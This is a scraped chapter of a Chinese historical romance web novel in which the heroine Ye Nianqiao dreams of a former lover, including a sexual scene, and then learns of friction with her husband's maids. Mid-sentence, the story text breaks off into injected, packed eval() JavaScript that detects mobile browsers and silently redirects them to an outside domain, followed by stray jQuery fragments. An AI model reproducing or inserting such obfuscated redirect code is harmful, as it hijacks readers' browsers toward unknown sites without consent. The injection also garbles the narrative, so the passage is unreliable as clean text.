默认冷灰
24号文字
方正启体

8. 旧梦

作者:很会炒饭本书字数:K更新时间:
    “别盯着我瞧了,你们……权当今夜是我自愿出去的吧。”


    叶念荞有些不自然地挪开眼,


    “自愿?”


    画屏张着小嘴,眼珠子都快跳出来了。


    有哭闹着,衣衫不整地被拖出去的自愿么?


    叶念荞缓缓别过头,咬着唇羞赧不已。


    这是她同持之小叔之间的约定,势必要守口如瓶的。


    既是为了自己的名声,也是为保小叔的同侪与卫娘子不受戒罚。


    只要不让小叔为难,她自己受点委屈,不算什么。


    叶念荞有些疲累地卸下身上的身不属于自己的外衫,齐齐整整地将之叠成一方小块,放到床褥内侧,生怕被丫鬟们收去清理。


    做完这些后,少女揉着困顿的眼睛道,“夜里发生的事太多,一时间我也解释不清。一夜未眠,待我睡醒后再同你们细细说来,切记千万兀要惊动婆母,就当昨夜一切如常。”


    两个小丫鬟虽心有疑虑,仍恭顺道,“婢子记下了。”


    抱琴还颇为体恤地给叶念荞捻好薄被,生怕她着凉,“娘子快先歇息罢。夫人慈和,免了娘子的晨昏定省,娘子今日想睡多久便睡多久。”


    少女迷蒙地点了点头,不过三息便困意上脑,疲沓地歪头睡了过去。


    也不知是否是那雪松香味格外助眠,叶念荞这几晚都睡得很沉。


    甚至……又梦到了从前。


    这两日她总能梦到他。


    不同于上次入梦时的惶惑与惘然,这次叶念荞在那扇门扉前站了良久,才鼓足勇气推门入内。


    既然在现实中吃了他抛弃自己的亏。


    那在梦中,她凶他几下,报复性地打他两下,总是可以的吧。


    “你怎么还在这处?”


    想到这里,叶念荞换上副凶巴巴的表情,龇牙咧嘴地朝他做了个很恶毒的表情,等着他对自己赔礼认错。


    然而男人却似没瞧见她表情似的,仍是那副淡淡的矜贵模样。


    “年年这几日好似很忙,过来的时辰愈发晚了。”


    怎么还敢恶人先告状?


    叶念荞秀眉紧蹙,学着卫姞的气势道,“不……不要你管!”


    她的语气很冲。


    男人闻言却并未生气,只轻“呵”一声,便温煦地受下了她的小脾气,“过来吧,今日,我教你抚琴。”


    嗯,哪怕在梦里,他的语气态度也很符合他的真实脾性。


    若当初她真在朝荷坊同他这样发火,大概他也会这般好脾性的哄着她的。


    叶念荞知晓这是梦,纵使她没被蒙住眼睛,能瞧见屋内的一切,却还是瞧不见男人的相貌。


    原因很简单。


    因为她从未见过他的相貌,故而梦里他的脸,自然也是模糊的。


    一切都是假的。


    可即便她什么都知晓,却还是不愿醒来,甚至希望这梦能做的更长些。


    她就是这样没出息,哪怕男人失了信,绝情地丢下她一走了之.


    她还是念着他,甚至时常担忧他是不是出了什么意外,是有诸多迫不得己,才不回来寻她的。


    她想念他的体温,他的心跳,他的呼吸,他的拥抱,想念关于他的一切。


    哪怕明知是短暂的,虚假的梦,她也不愿醒来。


    少女被男人圈在怀中,发丝微动,周身全是属于他的清冽味道。


    梦中,男人照旧半蜷着手掌,贴着她的手背教她抚琴。


    叶念荞不确定外面的乐师在教学生抚琴时是否都需这般亲密。


    若是的话,她希望她的延郎这辈子都莫再收新学生了。


    叶念荞学得很认真。


    可不论她学得再用心,还是弹得很烂。


    刺耳的琴声一如她的真实水平,连在梦中都未有半分精益。


    “我太笨了,什么都做不好。”


    叶念荞沮丧地垂下手,不肯再弹。


    她将面孔埋进男人的胸前耍着无赖,随后便听到他喉间传出低低的笑。


    男人低头,温热的呼吸洒在她的发顶,轻轻落下一吻。


    “年年已经做的很好了,切莫妄自菲薄。是我教的不好,今日不学了便是……”


    他总是这样,不论她说什么、做什么,都会哄她。


    “那今日该如何渡过去?”少女勾着他的发丝,音含蛊惑地问。


    “自有别的玩法。”


    男人弯腰,将她打横抱起,一步一步地走向床榻。


    少女被置于软褥上时已然耳尖骤红,她无措地攥过男人的衣襟想逃。


    却被他顺势托住后颈,狠狠压住。


    耳边尽是她被亲到黏黏糊糊的水泽声,叶念荞不得已地仰着头,承受着来自他的占有。


    “呵啊……”,她快要无法呼吸了。


    “年年,感受到了吗?这是我。”


    男人嗓音哑得厉害。


    炙人的体温透过那层来不及褪尽的衣料缓缓渡来,引得她筋脉拘挛,周遭的骨头都似要被融化。


    叶念荞根本无法回应,只能跟着他的动作嘤嘤咽咽地讨饶。


    他太可怕了,高华疏冷的外皮下实则藏了一只掌控欲极强的猛兽。


    如今对上她时的模样,哪有半点当初的清癯贵介。


    原先朝荷坊的姐妹总爱私下调侃:定是她太过夺魂摄魄,才引得那郎君频频犯戒。


    但只有叶念荞明白,清贵无俦只是他的伪装。


    他从不吝于掩饰自己的欲望。


    早前之所以冷淡,也是因为瞧不上秦楼楚馆的女子罢了。


    自那次意外同自己发生关系后,他便就不复饰伪,径露本相。


    下腹微微抽疼,叶念荞被一股热流扰梦而醒。


    她睁开眼,茫然呆楞了许久,才起身环顾了一圈四周,最后朝下腹一探,惊觉自己来了月事。


    他没有伴在自己身侧,自己也已然入了裴府。


    他们再没有以后了……


    少女蜷起双腿,将自己紧紧团成一个小球,又低头将下巴轻轻搁在双膝之上。


    像是在回味梦中的余温。


    可还不待她从悲恸的情绪中走出来,床帘就被人风风火火地掀了开来。


    尔后探进来一张神色神情纷糅的小脸,对着她道,“娘子,我刚从伙房那儿得了消息,姑爷今日便要回来了!”


    夫君?


    叶念荞还未从适才的“美梦”中苏醒,听得一愣一愣的。


    直到五息后才发觉这是裴府,夫君亦不会是他。


    便半喜半忧地问道,“夫君当真回来了?”


    抱琴重重点头,看了眼妆台前藏了秘药的盒子,小声道,“娘子今夜可得准备周全了。”


    叶念荞还来不及将自己来了月事的事儿告诉抱琴,又见画屏红着眼眶进了门,“娘子,易安堂的两个丫鬟也太不将我们樵风院放在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488300|185738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼里了!”


    “易安堂?你可是跟那头服侍的起了什么冲突?她们为难你了?”


    叶念荞嫁入裴府后便极少出门,大多数时候都是窝在听香榭里头发呆度过的。


    这样做的原因,一是害怕同婆母妯娌共坐一厅后,自己那蹩脚的闺闱仪范被人看出错漏;二是怕不慎与那恨极了自己的小姑子撞见,再生龃龉。


    她在这裴府里一再的谨小慎微,为的也只是让自己过得舒爽些。


    并不代表她是个任人欺凌的好脾气。


    易安堂是什么地方?


    是夫君的书房,那下头的丫鬟自然也归她这个正妻管。


    一边是近身伺候夫君的丫鬟,一边是近身伺候自己的丫鬟。


    同是丫鬟,叶念荞一向护短,定不会让画屏和抱琴在外头受气吃亏。


    “姑爷今日好容易回府,我想着,今夜定是要与娘子同寝圆房的。


    我原想去易安堂取些姑爷常换的衣物与被褥放在我们听香榭,可谁知易安堂那两个大丫鬟,就是那云珠和彩月,她们连句好话都没有,就板着脸将我轰了出去。”


    “你回去转告大娘子,教她莫要心急。待大人回来后才能知晓大人今夜歇在何处,届时再过来将换洗衣物取走也不迟。”


    画屏将彩月轰走她时的语调和情态学了个十成十。


    一旁的抱琴看了,被气到发抖。


    “娘子你听听,这是婢子对主子该有的意态吗?”


    叶念荞也惊了。


    原以为只有裴府的主家人不将她放在眼里,谁知那小小的丫鬟也敢用这般倨傲的态度慢待于她,“她们怎敢……”


    画屏哽咽着嗓子凑近少女耳畔,低声道,“娘子!我曾听说,大户人家的公子哥儿身旁伺候的侍婢,其实就是婆家给哥儿挑选的通房。有些个手段了得的,能笼络住哥儿的心,便能直接一步登天,做了妾室。”


    “娘子,你说易安堂的那两个大丫鬟,不会早便被姑爷收房了吧?”


    叶念荞心底一沉。


    虽说她略有些笼络男人的手段和经验,可若要她凭着这些浅薄的门道同旁的女子去争。


    她还真就没了把握。


    事已至此,叶念荞只得自我安慰道,“莫要瞎说,裴家这般的门第最重礼教,不会的。”


    画屏欲言又止,“可……”


    叶念荞倦恼地摇头,“一切先待我见过夫君再说。”


    心中烦闷,少女伸手朝丝枕底下探了探,摸出一个用金累丝绣的小荷香囊。


    她抚了抚上头的小荷样式,心底这才恢复了几分澄静。


    画屏眼尖,一眼就瞧见了这枚叶念荞用了五分心思加五分巧思绣出来的成品,“娘子心诚,不论是谁收了娘子绣的这枚香囊,都会将之视若珍宝的。”


    “这是绣给姑爷的吧?”


    少女被人戳中心思,却又被误解了对象,不免臊红了耳根:


    “你这小丫头片子,浑说什么……”


    “这物不是绣给夫君的,是…绣给旁人的谢礼……”


    抱琴听后大惊失色。


    她想了一圈都不觉裴府有什么与娘子有过交情之人,需要她送出如此大礼。


    思忖间,不免联想到了朝荷坊里,与娘子有过首尾的那位。


    “娘子,你不会还想着那位……?”


    “不行的呀,若是被姑爷或旁的裴家人发现了,娘子怕是性命堪忧啊。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)